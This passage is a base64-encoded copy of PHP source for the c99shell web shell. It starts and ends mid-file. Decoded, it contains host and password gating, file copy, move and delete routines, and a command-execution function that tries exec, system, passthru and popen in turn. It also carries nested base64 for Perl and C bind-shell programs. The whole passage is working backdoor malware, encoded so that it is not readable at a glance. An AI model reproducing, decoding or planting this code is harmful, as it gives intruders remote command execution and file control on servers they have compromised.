cmwuImFjdD11cGRhdGUmZD0lZCIpLA0KIGFycmF5KCI8Yj5GZWVkYmFjazwvYj4iLCRzdXJsLiJhY3Q9ZmVlZGJhY2smZD0lZCIpLA0KIGFycmF5KCI8Yj5TZWxmIHJlbW92ZTwvYj4iLCRzdXJsLiJhY3Q9c2VsZnJlbW92ZSIpLA0KIGFycmF5KCI8Yj5Mb2dvdXQ8L2I+IiwiI1wiIG9uY2xpY2s9XCJpZiAoY29uZmlybSgnQXJlIHlvdSBzdXJlPycpKSB3aW5kb3cuY2xvc2UoKSIpDQopOw0KDQovL0hpZ2hsaWdodC1jb2RlIGNvbG9ycw0KJGhpZ2hsaWdodF9iYWNrZ3JvdW5kID0gIiNjMGMwYzAiOw0KJGhpZ2hsaWdodF9iZyA9ICIjRkZGRkZGIjsNCiRoaWdobGlnaHRfY29tbWVudCA9ICIjNkE2QTZBIjsNCiRoaWdobGlnaHRfZGVmYXVsdCA9ICIjMDAwMEJCIjsNCiRoaWdobGlnaHRfaHRtbCA9ICIjMTMwMEZGIjsNCiRoaWdobGlnaHRfa2V5d29yZCA9ICIjMDA3NzAwIjsNCiRoaWdobGlnaHRfc3RyaW5nID0gIiMwMDAwMDAiOw0KDQpAJGYgPSAkX1JFUVVFU1RbImYiXTsNCkBleHRyYWN0KCRfUkVRVUVTVFsiYzk5c2hjb29rIl0pOw0KDQovL0VORCBDT05GSUdVUkFUSU9ODQoNCg0KLy8gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBcLyAgICAgICAgTmV4dCBjb2RlIGlzbid0IGZvciBlZGl0aW5nICAgICAgICBcLw0KQHNldF90aW1lX2xpbWl0KCR0aW1lbGltaXQpOw0KJHRtcCA9IGFycmF5KCk7DQpmb3JlYWNoKCRob3N0X2FsbG93IGFzICRrPT4kdikgeyR0bXBbXSA9IHN0cl9yZXBsYWNlKCJcXCoiLCIuKiIscHJlZ19xdW90ZSgkdikpO30NCiRzID0gIiFeKCIuaW1wbG9kZSgifCIsJHRtcCkuIikkIWkiOw0KaWYgKCFwcmVnX21hdGNoKCRzLGdldGVudigiUkVNT1RFX0FERFIiKSkgYW5kICFwcmVnX21hdGNoKCRzLGdldGhvc3RieWFkZHIoZ2V0ZW52KCJSRU1PVEVfQUREUiIpKSkpIHtleGl0KCI8YSBocmVmPVwiaHR0cDovL2NjdGVhbS5ydS9yZWxlYXNlcy9jYzk5c2hlbGxcIj5jOTlzaGVsbDwvYT46IEFjY2VzcyBEZW5pZWQgLSB5b3VyIGhvc3QgKCIuZ2V0ZW52KCJSRU1PVEVfQUREUiIpLiIpIG5vdCBhbGxvdyIpO30NCmlmICghZW1wdHkoJGxvZ2luKSkNCnsNCiBpZihlbXB0eSgkbWQ1X3Bhc3MpKSB7JG1kNV9wYXNzID0gbWQ1KCRwYXNzKTt9DQogaWYgKCgkX1NFUlZFUlsiUEhQX0FVVEhfVVNFUiJdICE9ICRsb2dpbiApIG9yIChtZDUoJF9TRVJWRVJbIlBIUF9BVVRIX1BXIl0pICE9ICRtZDVfcGFzcykpDQogew0KICBpZiAoJGxvZ2luX3R4dCA9PT0gIiIpIHskbG9naW5fdHh0ID0gIiI7fQ0KICBlbHNlaWYgKGVtcHR5KCRsb2dpbl90eHQpKSB7JGxvZ2luX3R4dCA9IHN0cmlwX3RhZ3MoZXJlZ19yZXBsYWNlKCImbmJzcDt8PGJyPiIsIiAiLCRkb25hdGVkX2h0bWwpKTt9DQogIGhlYWRlcigiV1dXLUF1dGhlbnRpY2F0ZTogQmFzaWMgcmVhbG09XCJjOTlzaGVsbCAiLiRzaHZlci4iOiAiLiRsb2dpbl90eHQuIlwiIik7DQogIGhlYWRlcigiSFRUUC8xLjAgNDAxIFVuYXV0aG9yaXplZCIpOw0KICBleGl0KCRhY2Nlc3NkZW5pZWRtZXNzKTsNCiB9DQp9DQppZiAoJGFjdCAhPSAiaW1nIikNCnsNCiRsYXN0ZGlyID0gcmVhbHBhdGgoIi4iKTsNCmNoZGlyKCRjdXJkaXIpOw0KaWYgKCRzZWxmd3JpdGUgb3IgJHVwZGF0ZW5vdykge0BvYl9jbGVhbigpOyBjOTlzaF9nZXR1cGRhdGUoJHNlbGZ3cml0ZSwxKTsgZXhpdDt9DQokc2Vzc19kYXRhID0gdW5zZXJpYWxpemUoJF9DT09LSUVbIiRzZXNzX2Nvb2tpZSJdKTsNCmlmICghaXNfYXJyYXkoJHNlc3NfZGF0YSkpIHskc2Vzc19kYXRhID0gYXJyYXkoKTt9DQppZiAoIWlzX2FycmF5KCRzZXNzX2RhdGFbImNvcHkiXSkpIHskc2Vzc19kYXRhWyJjb3B5Il0gPSBhcnJheSgpO30NCmlmICghaXNfYXJyYXkoJHNlc3NfZGF0YVsiY3V0Il0pKSB7JHNlc3NfZGF0YVsiY3V0Il0gPSBhcnJheSgpO30NCg0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImM5OV9idWZmX3ByZXBhcmUiKSkNCnsNCmZ1bmN0aW9uIGM5OV9idWZmX3ByZXBhcmUoKQ0Kew0KIGdsb2JhbCAkc2Vzc19kYXRhOw0KIGdsb2JhbCAkYWN0Ow0KIGZvcmVhY2goJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdikgeyRzZXNzX2RhdGFbImNvcHkiXVska10gPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IscmVhbHBhdGgoJHYpKTt9DQogZm9yZWFjaCgkc2Vzc19kYXRhWyJjdXQiXSBhcyAkaz0+JHYpIHskc2Vzc19kYXRhWyJjdXQiXVska10gPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IscmVhbHBhdGgoJHYpKTt9DQogJHNlc3NfZGF0YVsiY29weSJdID0gYXJyYXlfdW5pcXVlKCRzZXNzX2RhdGFbImNvcHkiXSk7DQogJHNlc3NfZGF0YVsiY3V0Il0gPSBhcnJheV91bmlxdWUoJHNlc3NfZGF0YVsiY3V0Il0pOw0KIHNvcnQoJHNlc3NfZGF0YVsiY29weSJdKTsNCiBzb3J0KCRzZXNzX2RhdGFbImN1dCJdKTsNCiBpZiAoJGFjdCAhPSAiY29weSIpIHtmb3JlYWNoKCRzZXNzX2RhdGFbImN1dCJdIGFzICRrPT4kdikge2lmICgkc2Vzc19kYXRhWyJjb3B5Il1bJGtdID09ICR2KSB7dW5zZXQoJHNlc3NfZGF0YVsiY29weSJdWyRrXSk7IH19fQ0KIGVsc2Uge2ZvcmVhY2goJHNlc3NfZGF0YVsiY29weSJdIGFzICRrPT4kdikge2lmICgkc2Vzc19kYXRhWyJjdXQiXVska10gPT0gJHYpIHt1bnNldCgkc2Vzc19kYXRhWyJjdXQiXVska10pO319fQ0KfQ0KfQ0KYzk5X2J1ZmZfcHJlcGFyZSgpOw0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImM5OV9zZXNzX3B1dCIpKQ0Kew0KZnVuY3Rpb24gYzk5X3Nlc3NfcHV0KCRkYXRhKQ0Kew0KIGdsb2JhbCAkc2Vzc19jb29raWU7DQogZ2xvYmFsICRzZXNzX2RhdGE7DQogYzk5X2J1ZmZfcHJlcGFyZSgpOw0KICRzZXNzX2RhdGEgPSAkZGF0YTsNCiAkZGF0YSA9IHNlcmlhbGl6ZSgkZGF0YSk7DQogc2V0Y29va2llKCRzZXNzX2Nvb2tpZSwkZGF0YSk7DQp9DQp9DQpmb3JlYWNoIChhcnJheSgic29ydCIsInNxbF9zb3J0IikgYXMgJHYpDQp7DQogaWYgKCFlbXB0eSgkX0dFVFskdl0pKSB7JCR2ID0gJF9HRVRbJHZdO30NCiBpZiAoIWVtcHR5KCRfUE9TVFskdl0pKSB7JCR2ID0gJF9QT1NUWyR2XTt9DQp9DQppZiAoJHNvcnRfc2F2ZSkNCnsNCiBpZiAoIWVtcHR5KCRzb3J0KSkge3NldGNvb2tpZSgic29ydCIsJHNvcnQpO30NCiBpZiAoIWVtcHR5KCRzcWxfc29ydCkpIHtzZXRjb29raWUoInNxbF9zb3J0Iiwkc3FsX3NvcnQpO30NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJzdHIybWluaSIpKQ0Kew0KZnVuY3Rpb24gc3RyMm1pbmkoJGNvbnRlbnQsJGxlbikNCnsNCiBpZiAoc3RybGVuKCRjb250ZW50KSA+ICRsZW4pDQogew0KICAkbGVuID0gY2VpbCgkbGVuLzIpIC0gMjsNCiAgcmV0dXJuIHN1YnN0cigkY29udGVudCwgMCwkbGVuKS4iLi4uIi5zdWJzdHIoJGNvbnRlbnQsLSRsZW4pOw0KIH0NCiBlbHNlIHtyZXR1cm4gJGNvbnRlbnQ7fQ0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInZpZXdfc2l6ZSIpKQ0Kew0KZnVuY3Rpb24gdmlld19zaXplKCRzaXplKQ0Kew0KIGlmICghaXNfbnVtZXJpYygkc2l6ZSkpIHtyZXR1cm4gZmFsc2U7fQ0KIGVsc2UNCiB7DQogIGlmICgkc2l6ZSA+PSAxMDczNzQxODI0KSB7JHNpemUgPSByb3VuZCgkc2l6ZS8xMDczNzQxODI0KjEwMCkvMTAwIC4iIEdCIjt9DQogIGVsc2VpZiAoJHNpemUgPj0gMTA0ODU3NikgeyRzaXplID0gcm91bmQoJHNpemUvMTA0ODU3NioxMDApLzEwMCAuIiBNQiI7fQ0KICBlbHNlaWYgKCRzaXplID49IDEwMjQpIHskc2l6ZSA9IHJvdW5kKCRzaXplLzEwMjQqMTAwKS8xMDAgLiIgS0IiO30NCiAgZWxzZSB7JHNpemUgPSAkc2l6ZSAuICIgQiI7fQ0KICByZXR1cm4gJHNpemU7DQogfQ0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImZzX2NvcHlfZGlyIikpDQp7DQpmdW5jdGlvbiBmc19jb3B5X2RpcigkZCwkdCkNCnsNCiAkZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7DQogaWYgKHN1YnN0cigkZCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICRoID0gb3BlbmRpcigkZCk7DQogd2hpbGUgKCgkbyA9IHJlYWRkaXIoJGgpKSAhPT0gZmFsc2UpDQogew0KICBpZiAoKCRvICE9ICIuIikgYW5kICgkbyAhPSAiLi4iKSkNCiAgew0KICAgaWYgKCFpc19kaXIoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbykpIHskcmV0ID0gY29weSgkZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvLCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pO30NCiAgIGVsc2UgeyRyZXQgPSBta2RpcigkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKTsgZnNfY29weV9kaXIoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbywkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKTt9DQogICBpZiAoISRyZXQpIHtyZXR1cm4gJHJldDt9DQogIH0NCiB9DQogY2xvc2VkaXIoJGgpOw0KIHJldHVybiB0cnVlOw0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImZzX2NvcHlfb2JqIikpDQp7DQpmdW5jdGlvbiBmc19jb3B5X29iaigkZCwkdCkNCnsNCiAkZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7DQogJHQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJHQpOw0KIGlmICghaXNfZGlyKGRpcm5hbWUoJHQpKSkge21rZGlyKGRpcm5hbWUoJHQpKTt9DQogaWYgKGlzX2RpcigkZCkpDQogew0KICBpZiAoc3Vic3RyKCRkLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JGQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogIGlmIChzdWJzdHIoJHQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskdCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCiAgcmV0dXJuIGZzX2NvcHlfZGlyKCRkLCR0KTsNCiB9DQogZWxzZWlmIChpc19maWxlKCRkKSkge3JldHVybiBjb3B5KCRkLCR0KTt9DQogZWxzZSB7cmV0dXJuIGZhbHNlO30NCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19tb3ZlX2RpciIpKQ0Kew0KZnVuY3Rpb24gZnNfbW92ZV9kaXIoJGQsJHQpDQp7DQogJGggPSBvcGVuZGlyKCRkKTsNCiBpZiAoIWlzX2RpcigkdCkpIHtta2RpcigkdCk7fQ0KIHdoaWxlICgoJG8gPSByZWFkZGlyKCRoKSkgIT09IGZhbHNlKQ0KIHsNCiAgaWYgKCgkbyAhPSAiLiIpIGFuZCAoJG8gIT0gIi4uIikpDQogIHsNCiAgICRyZXQgPSB0cnVlOw0KICAgaWYgKCFpc19kaXIoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbykpIHskcmV0ID0gY29weSgkZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvLCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pO30NCiAgIGVsc2Uge2lmIChta2RpcigkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKSBhbmQgZnNfY29weV9kaXIoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbywkdC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvKSkgeyRyZXQgPSBmYWxzZTt9fQ0KICAgaWYgKCEkcmV0KSB7cmV0dXJuICRyZXQ7fQ0KICB9DQogfQ0KIGNsb3NlZGlyKCRoKTsNCiByZXR1cm4gdHJ1ZTsNCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19tb3ZlX29iaiIpKQ0Kew0KZnVuY3Rpb24gZnNfbW92ZV9vYmooJGQsJHQpDQp7DQogJGQgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJGQpOw0KICR0ID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCR0KTsNCiBpZiAoaXNfZGlyKCRkKSkNCiB7DQogIGlmIChzdWJzdHIoJGQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCiAgaWYgKHN1YnN0cigkdCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyR0IC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICByZXR1cm4gZnNfbW92ZV9kaXIoJGQsJHQpOw0KIH0NCiBlbHNlaWYgKGlzX2ZpbGUoJGQpKQ0KIHsNCiAgaWYoY29weSgkZCwkdCkpIHtyZXR1cm4gdW5saW5rKCRkKTt9DQogIGVsc2Uge3VubGluaygkdCk7IHJldHVybiBmYWxzZTt9DQogfQ0KIGVsc2Uge3JldHVybiBmYWxzZTt9DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfcm1kaXIiKSkNCnsNCmZ1bmN0aW9uIGZzX3JtZGlyKCRkKQ0Kew0KICRoID0gb3BlbmRpcigkZCk7DQogd2hpbGUgKCgkbyA9IHJlYWRkaXIoJGgpKSAhPT0gZmFsc2UpDQogew0KICBpZiAoKCRvICE9ICIuIikgYW5kICgkbyAhPSAiLi4iKSkNCiAgew0KICAgaWYgKCFpc19kaXIoJGQuJG8pKSB7dW5saW5rKCRkLiRvKTt9DQogICBlbHNlIHtmc19ybWRpcigkZC4kby5ESVJFQ1RPUllfU0VQQVJBVE9SKTsgcm1kaXIoJGQuJG8pO30NCiAgfQ0KIH0NCiBjbG9zZWRpcigkaCk7DQogcm1kaXIoJGQpOw0KIHJldHVybiAhaXNfZGlyKCRkKTsNCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJmc19ybW9iaiIpKQ0Kew0KZnVuY3Rpb24gZnNfcm1vYmooJG8pDQp7DQogJG8gPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJG8pOw0KIGlmIChpc19kaXIoJG8pKQ0KIHsNCiAgaWYgKHN1YnN0cigkbywtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRvIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICByZXR1cm4gZnNfcm1kaXIoJG8pOw0KIH0NCiBlbHNlaWYgKGlzX2ZpbGUoJG8pKSB7cmV0dXJuIHVubGluaygkbyk7fQ0KIGVsc2Uge3JldHVybiBmYWxzZTt9DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzaGVsbGV4ZWMiKSkNCnsNCmZ1bmN0aW9uIG15c2hlbGxleGVjKCRjbWQpDQp7DQogJHJlc3VsdCA9ICIiOw0KIGlmICghZW1wdHkoJGNtZCkpDQogew0KICBpZiAoaXNfY2FsbGFibGUoImV4ZWMiKSkge2V4ZWMoJGNtZCwkcmVzdWx0KTsgJHJlc3VsdCA9IGpvaW4oIlxuIiwkcmVzdWx0KTt9DQogIGVsc2VpZiAoKCRyZXN1bHQgPSBgJGNtZGApICE9PSBmYWxzZSkge30NCiAgZWxzZWlmIChpc19jYWxsYWJsZSgic3lzdGVtIikpIHskdiA9IEBvYl9nZXRfY29udGVudHMoKTsgQG9iX2NsZWFuKCk7IHN5c3RlbSgkY21kKTsgJHJlc3VsdCA9IEBvYl9nZXRfY29udGVudHMoKTsgQG9iX2NsZWFuKCk7IGVjaG8gJHY7fQ0KICBlbHNlaWYgKGlzX2NhbGxhYmxlKCJwYXNzdGhydSIpKSB7JHYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7IEBvYl9jbGVhbigpOyBwYXNzdGhydSgkY21kKTsgJHJlc3VsdCA9IEBvYl9nZXRfY29udGVudHMoKTsgQG9iX2NsZWFuKCk7IGVjaG8gJHY7fQ0KICBlbHNlaWYgKGlzX3Jlc291cmNlKCRmcCA9IHBvcGVuKCRjbWQsInIiKSkpDQogIHsNCiAgICRyZXN1bHQgPSAiIjsNCiAgIHdoaWxlKCFmZW9mKCRmcCkpIHskcmVzdWx0IC49IGZyZWFkKCRmcCwxMDI0KTt9DQogICBwY2xvc2UoJGZwKTsNCiAgfQ0KIH0NCiByZXR1cm4gJHJlc3VsdDsNCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJ0YWJzb3J0IikpIHtmdW5jdGlvbiB0YWJzb3J0KCRhLCRiKSB7Z2xvYmFsICR2OyByZXR1cm4gc3RybmF0Y21wKCRhWyR2XSwgJGJbJHZdKTt9fQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInZpZXdfcGVybXMiKSkNCnsNCmZ1bmN0aW9uIHZpZXdfcGVybXMoJG1vZGUpDQp7DQogaWYgKCgkbW9kZSAmIDB4QzAwMCkgPT09IDB4QzAwMCkgeyR0eXBlID0gInMiO30NCiBlbHNlaWYgKCgkbW9kZSAmIDB4NDAwMCkgPT09IDB4NDAwMCkgeyR0eXBlID0gImQiO30NCiBlbHNlaWYgKCgkbW9kZSAmIDB4QTAwMCkgPT09IDB4QTAwMCkgeyR0eXBlID0gImwiO30NCiBlbHNlaWYgKCgkbW9kZSAmIDB4ODAwMCkgPT09IDB4ODAwMCkgeyR0eXBlID0gIi0iO30NCiBlbHNlaWYgKCgkbW9kZSAmIDB4NjAwMCkgPT09IDB4NjAwMCkgeyR0eXBlID0gImIiO30NCiBlbHNlaWYgKCgkbW9kZSAmIDB4MjAwMCkgPT09IDB4MjAwMCkgeyR0eXBlID0gImMiO30NCiBlbHNlaWYgKCgkbW9kZSAmIDB4MTAwMCkgPT09IDB4MTAwMCkgeyR0eXBlID0gInAiO30NCiBlbHNlIHskdHlwZSA9ICI/Ijt9DQoNCiAkb3duZXJbInJlYWQiXSA9ICgkbW9kZSAmIDAwNDAwKT8iciI6Ii0iOw0KICRvd25lclsid3JpdGUiXSA9ICgkbW9kZSAmIDAwMjAwKT8idyI6Ii0iOw0KICRvd25lclsiZXhlY3V0ZSJdID0gKCRtb2RlICYgMDAxMDApPyJ4IjoiLSI7DQogJGdyb3VwWyJyZWFkIl0gPSAoJG1vZGUgJiAwMDA0MCk/InIiOiItIjsNCiAkZ3JvdXBbIndyaXRlIl0gPSAoJG1vZGUgJiAwMDAyMCk/InciOiItIjsNCiAkZ3JvdXBbImV4ZWN1dGUiXSA9ICgkbW9kZSAmIDAwMDEwKT8ieCI6Ii0iOw0KICR3b3JsZFsicmVhZCJdID0gKCRtb2RlICYgMDAwMDQpPyJyIjoiLSI7DQogJHdvcmxkWyJ3cml0ZSJdID0gKCRtb2RlICYgMDAwMDIpPyAidyI6Ii0iOw0KICR3b3JsZFsiZXhlY3V0ZSJdID0gKCRtb2RlICYgMDAwMDEpPyJ4IjoiLSI7DQoNCiBpZiAoJG1vZGUgJiAweDgwMCkgeyRvd25lclsiZXhlY3V0ZSJdID0gKCRvd25lclsiZXhlY3V0ZSJdID09ICJ4Iik/InMiOiJTIjt9DQogaWYgKCRtb2RlICYgMHg0MDApIHskZ3JvdXBbImV4ZWN1dGUiXSA9ICgkZ3JvdXBbImV4ZWN1dGUiXSA9PSAieCIpPyJzIjoiUyI7fQ0KIGlmICgkbW9kZSAmIDB4MjAwKSB7JHdvcmxkWyJleGVjdXRlIl0gPSAoJHdvcmxkWyJleGVjdXRlIl0gPT0gIngiKT8idCI6IlQiO30NCg0KIHJldHVybiAkdHlwZS4kb3duZXJbInJlYWQiXS4kb3duZXJbIndyaXRlIl0uJG93bmVyWyJleGVjdXRlIl0uDQogICAgICAgICRncm91cFsicmVhZCJdLiRncm91cFsid3JpdGUiXS4kZ3JvdXBbImV4ZWN1dGUiXS4NCiAgICAgICAgJHdvcmxkWyJyZWFkIl0uJHdvcmxkWyJ3cml0ZSJdLiR3b3JsZFsiZXhlY3V0ZSJdOw0KfQ0KfQ0KaWYgKCFmdW5jdGlvbl9leGlzdHMoInBhcnNlX3Blcm1zIikpDQp7DQpmdW5jdGlvbiBwYXJzZV9wZXJtcygkbW9kZSkNCnsNCiBpZiAoKCRtb2RlICYgMHhDMDAwKSA9PT0gMHhDMDAwKSB7JHQgPSAicyI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHg0MDAwKSA9PT0gMHg0MDAwKSB7JHQgPSAiZCI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHhBMDAwKSA9PT0gMHhBMDAwKSB7JHQgPSAibCI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHg4MDAwKSA9PT0gMHg4MDAwKSB7JHQgPSAiLSI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHg2MDAwKSA9PT0gMHg2MDAwKSB7JHQgPSAiYiI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHgyMDAwKSA9PT0gMHgyMDAwKSB7JHQgPSAiYyI7fQ0KIGVsc2VpZiAoKCRtb2RlICYgMHgxMDAwKSA9PT0gMHgxMDAwKSB7JHQgPSAicCI7fQ0KIGVsc2UgeyR0ID0gIj8iO30NCiAkb1siciJdID0gKCRtb2RlICYgMDA0MDApID4gMDsgJG9bInciXSA9ICgkbW9kZSAmIDAwMjAwKSA+IDA7ICRvWyJ4Il0gPSAoJG1vZGUgJiAwMDEwMCkgPiAwOw0KICRnWyJyIl0gPSAoJG1vZGUgJiAwMDA0MCkgPiAwOyAkZ1sidyJdID0gKCRtb2RlICYgMDAwMjApID4gMDsgJGdbIngiXSA9ICgkbW9kZSAmIDAwMDEwKSA+IDA7DQogJHdbInIiXSA9ICgkbW9kZSAmIDAwMDA0KSA+IDA7ICR3WyJ3Il0gPSAoJG1vZGUgJiAwMDAwMikgPiAwOyAkd1sieCJdID0gKCRtb2RlICYgMDAwMDEpID4gMDsNCiByZXR1cm4gYXJyYXkoInQiPT4kdCwibyI9PiRvLCJnIj0+JGcsInciPT4kdyk7DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygicGFyc2Vzb3J0IikpDQp7DQpmdW5jdGlvbiBwYXJzZXNvcnQoJHNvcnQpDQp7DQogJG9uZSA9IGludHZhbCgkc29ydCk7DQogJHNlY29uZCA9IHN1YnN0cigkc29ydCwtMSk7DQogaWYgKCRzZWNvbmQgIT0gImQiKSB7JHNlY29uZCA9ICJhIjt9DQogcmV0dXJuIGFycmF5KCRvbmUsJHNlY29uZCk7DQp9DQp9DQppZiAoIWZ1bmN0aW9uX2V4aXN0cygidmlld19wZXJtc19jb2xvciIpKQ0Kew0KZnVuY3Rpb24gdmlld19wZXJtc19jb2xvcigkbykNCnsNCiBpZiAoIWlzX3JlYWRhYmxlKCRvKSkge3JldHVybiAiPGZvbnQgY29sb3I9cmVkPiIudmlld19wZXJtcyhmaWxlcGVybXMoJG8pKS4iPC9mb250PiI7fQ0KIGVsc2VpZiAoIWlzX3dyaXRhYmxlKCRvKSkge3JldHVybiAiPGZvbnQgY29sb3I9d2hpdGU+Ii52aWV3X3Blcm1zKGZpbGVwZXJtcygkbykpLiI8L2ZvbnQ+Ijt9DQogZWxzZSB7cmV0dXJuICI8Zm9udCBjb2xvcj1ncmVlbj4iLnZpZXdfcGVybXMoZmlsZXBlcm1zKCRvKSkuIjwvZm9udD4iO30NCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJjOTlnZXRzb3VyY2UiKSkNCnsNCmZ1bmN0aW9uIGM5OWdldHNvdXJjZSgkZm4pDQp7DQogaWYgKCRmbiA9PSAiYzk5c2hfYmluZHBvcnQucGwiKSB7cmV0dXJuIGJhc2U2NF9kZWNvZGUoDQoiSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXBwWmlBb1FFRlNSMVlnUENBeEtTQjdaWGhwZENneEtUdDlEUW9rY0c5eWRDQTlJQ1JCVWtkVyIuDQoiV3pCZE93MEtaWGhwZENCcFppQm1iM0pyT3cwS0pEQWdQU0FpZFhCa1lYUmxaR0lpSUM0Z0lpQWlJSGd4TURBN0RRb2tVMGxIZTBOSSIuDQoiVEVSOUlEMGdKMGxIVGs5U1JTYzdEUXAxYzJVZ1UyOWphMlYwT3cwS2MyOWphMlYwS0ZNc0lGQkdYMGxPUlZRc0lGTlBRMHRmVTFSUyIuDQoiUlVGTkxDQXdLVHNOQ25ObGRITnZZMnR2Y0hRb1V5d2dVMDlNWDFOUFEwdEZWQ3dnVTA5ZlVrVlZVMFZCUkVSU0xDQXhLVHNOQ21KcCIuDQoiYm1Rb1V5d2djMjlqYTJGa1pISmZhVzRvSkhCdmNuUXNJRWxPUVVSRVVsOUJUbGtwS1RzTkNteHBjM1JsYmloVExDQTFNQ2s3RFFwaCIuDQoiWTJObGNIUW9XQ3hUS1RzTkNtOXdaVzRnVTFSRVNVNHNJQ0k4SmxnaU93MEtiM0JsYmlCVFZFUlBWVlFzSUNJK0psZ2lPdzBLYjNCbCIuDQoiYmlCVFZFUkZVbElzSUNJK0psZ2lPdzBLWlhobFl5Z2laV05vYnlCY0lsZGxiR052YldVZ2RHOGdZems1YzJobGJHd2hYSEpjYmx4eSIuDQoiWEc1Y0lpSXBPdzBLZDJocGJHVW9NU2tOQ25zTkNpQmhZMk5sY0hRb1dDd2dVeWs3RFFvZ2RXNXNaWE56S0dadmNtc3BEUW9nZXcwSyIuDQoiSUNCdmNHVnVJRk5VUkVsT0xDQWlQQ1pZSWpzTkNpQWdiM0JsYmlCVFZFUlBWVlFzSUNJK0psZ2lPdzBLSUNCamJHOXpaU0JZT3cwSyIuDQoiSUNCbGVHVmpLQ0l2WW1sdUwzTm9JaWs3RFFvZ2ZRMEtJR05zYjNObElGZzdEUXA5Iik7fQ0KIGVsc2VpZiAoJGZuID09ICJjOTlzaF9iaW5kcG9ydC5jIikge3JldHVybiBiYXNlNjRfZGVjb2RlKA0KIkkybHVZMngxWkdVZ1BITjBaR2x2TG1nK0RRb2phVzVqYkhWa1pTQThjM1J5YVc1bkxtZytEUW9qYVc1amJIVmtaU0E4YzNsekwzUjUiLg0KImNHVnpMbWcrRFFvamFXNWpiSFZrWlNBOGMzbHpMM052WTJ0bGRDNW9QZzBLSTJsdVkyeDFaR1VnUEc1bGRHbHVaWFF2YVc0dWFENE4iLg0KIkNpTnBibU5zZFdSbElEeGxjbkp1Ynk1b1BnMEthVzUwSUcxaGFXNG9ZWEpuWXl4aGNtZDJLUTBLYVc1MElHRnlaMk03RFFwamFHRnkiLg0KIklDb3FZWEpuZGpzTkNuc2dJQTBLSUdsdWRDQnpiMk5yWm1Rc0lHNWxkMlprT3cwS0lHTm9ZWElnWW5WbVd6TXdYVHNOQ2lCemRISjEiLg0KIlkzUWdjMjlqYTJGa1pISmZhVzRnY21WdGIzUmxPdzBLSUdsbUtHWnZjbXNvS1NBOVBTQXdLU0I3SUEwS0lISmxiVzkwWlM1emFXNWYiLg0KIlptRnRhV3g1SUQwZ1FVWmZTVTVGVkRzTkNpQnlaVzF2ZEdVdWMybHVYM0J2Y25RZ1BTQm9kRzl1Y3loaGRHOXBLR0Z5WjNaYk1WMHAiLg0KIktUc05DaUJ5WlcxdmRHVXVjMmx1WDJGa1pISXVjMTloWkdSeUlEMGdhSFJ2Ym13b1NVNUJSRVJTWDBGT1dTazdJQTBLSUhOdlkydG0iLg0KIlpDQTlJSE52WTJ0bGRDaEJSbDlKVGtWVUxGTlBRMHRmVTFSU1JVRk5MREFwT3cwS0lHbG1LQ0Z6YjJOclptUXBJSEJsY25KdmNpZ2kiLg0KImMyOWphMlYwS